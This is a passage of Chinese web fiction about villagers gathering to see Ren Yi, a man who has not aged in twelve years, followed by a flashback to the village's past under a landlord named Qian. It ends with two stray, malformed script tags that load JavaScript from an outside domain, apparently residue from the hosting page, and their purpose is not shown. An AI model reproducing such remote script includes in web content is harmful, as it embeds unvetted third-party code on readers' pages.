村委会前的空地上,黑压压坐满了人。
男人蹲着,女人站着,老人靠着墙根,孩子骑在树杈上。
不止新村的人。
消息传了一夜,隔壁村的,更远村子的,天没亮就赶来了。
有人在路上走了一整夜,鞋底磨穿了,脚趾头露在外面,沾着泥和血。
有人拖着伤腿一瘸一拐,每走一步都皱一下眉,却不肯停下。
有人背着还在吃奶的娃,娃哭了,就撩起衣襟喂两口,脚步不停。
没有人说话。
连孩子都安安静静的,趴在大人肩头,睁着圆溜溜的眼睛,看着村委会的台阶。
所有人都在等。
任弋站在台阶上。
他穿了一件干净的灰白色粗布褂子,洗得有些发硬,边角磨出了淡淡的毛边。头发用一根普通的木簪束起来,露出光洁的额头。
十二年了。
那张脸还是跟来时一样年轻。时间好像在他身上停住了脚步,没添一道皱纹,没染一根白发。
但所有人都看得出来,那双眼睛不一样了。
十二年前,那双眼睛清亮亮的,像山涧里刚融的雪水,看什么都新鲜,什么都好奇。
现在那双眼睛还是清亮的。
但底下多了些东西。
那是见过太多苦,听过太多哭,陪着太多人从泥里爬起来之后,才有的东西。沉甸甸的,像深潭里的水,看着平静,底下压着千钧之力。
十二年前。
那一年,这个村子还没有名字。不叫新村。
没有水泥路,没有电灯,没有自来水,没有楼房。
村里最好的房子,是里正家的土坯房,有两扇完整的木门,屋顶不漏雨。
最差的是村尾那些窝棚,歪歪斜斜的,全靠一根木头顶着墙,生怕哪天刮大风,就塌了。
那时候村里一百多户,五百多口人,种着上千亩地。
上千亩地,不是他们的。是县里一个姓钱的员外的。
钱员外不上朝,不当官,可他有钱。他爹有钱,他爷爷有钱,他爷爷的爷爷也有钱。
钱家的地,从他太爷爷那辈就开始买。一亩一亩,一块一块,一代一代攒下来。
买到十二年前,新村八成的地,都姓了钱。
地是钱家的,种地的人是村里的。
怎么种?钱员外说了算。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">